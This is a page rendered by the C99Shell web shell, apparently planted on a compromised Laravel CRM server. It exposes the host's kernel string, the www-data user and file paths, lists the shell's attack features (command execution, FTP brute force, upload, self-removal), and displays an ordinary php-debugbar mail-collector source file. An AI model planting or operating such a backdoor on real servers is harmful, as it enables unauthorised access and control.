!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/php-debugbar/php-debugbar/src/DebugBar/Bridge/Symfony/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SymfonyMailCollector.php (2.79 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace DebugBar\Bridge\Symfony;

use 
DebugBar\DataCollector\AssetProvider;
use 
DebugBar\DataCollector\DataCollector;
use 
DebugBar\DataCollector\Renderable;
use 
Symfony\Component\Mime\Part\AbstractPart;

/**
 * Collects data about sent mail events
 *
 * https://github.com/symfony/mailer
 */
class SymfonyMailCollector extends DataCollector implements RenderableAssetProvider
{
    
/** @var array */
    
private $messages = array();

    
/** @var bool */
    
private $showDetailed false;

    
/** @var bool */
    
private $showBody false;

    
/** @param \Symfony\Component\Mailer\SentMessage $message */
    
public function addSymfonyMessage($message)
    {
        
$this->messages[] = $message->getOriginalMessage();
    }

    
/**
     * @deprecated use showMessageBody()
     */
    
public function showMessageDetail()
    {
        
$this->showMessageBody(true);
    }

    public function 
showMessageBody($show true)
    {
        
$this->showBody $show;
    }

    public function 
collect()
    {
        
$mails = array();

        foreach (
$this->messages as $message) {
            
/* @var \Symfony\Component\Mime\Message $message */
            
$mail = [
                
'to' => array_map(function ($address) {
                    
/* @var \Symfony\Component\Mime\Address $address */
                    
return $address->toString();
                }, 
$message->getTo()),
                
'subject' => $message->getSubject(),
                
'headers' => $message->getHeaders()->toString(),
                
'body' => null,
                
'html' => null,
            ];

            if (
$this->showBody) {
                
$body $message->getBody();
                if (
$body instanceof AbstractPart) {
                    
$mail['html'] = $message->getHtmlBody();
                    
$mail['body'] = $message->getTextBody();
                } else {
                    
$mail['body'] = $body->bodyToString();
                }
            }

            
$mails[] = $mail;
        }

        return array(
            
'count' => count($mails),
            
'mails' => $mails,
        );
    }

    public function 
getName()
    {
        return 
'symfonymailer_mails';
    }

    public function 
getWidgets()
    {
        return array(
            
'emails' => array(
                
'icon' => 'inbox',
                
'widget' => 'PhpDebugBar.Widgets.MailsWidget',
                
'map' => 'symfonymailer_mails.mails',
                
'default' => '[]',
                
'title' => 'Mails'
            
),
            
'emails:badge' => array(
                
'map' => 'symfonymailer_mails.count',
                
'default' => 'null'
            
)
        );
    }

    public function 
getAssets()
    {
        return array(
            
'css' => 'widgets/mails/widget.css',
            
'js' => 'widgets/mails/widget.js'
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0396 ]--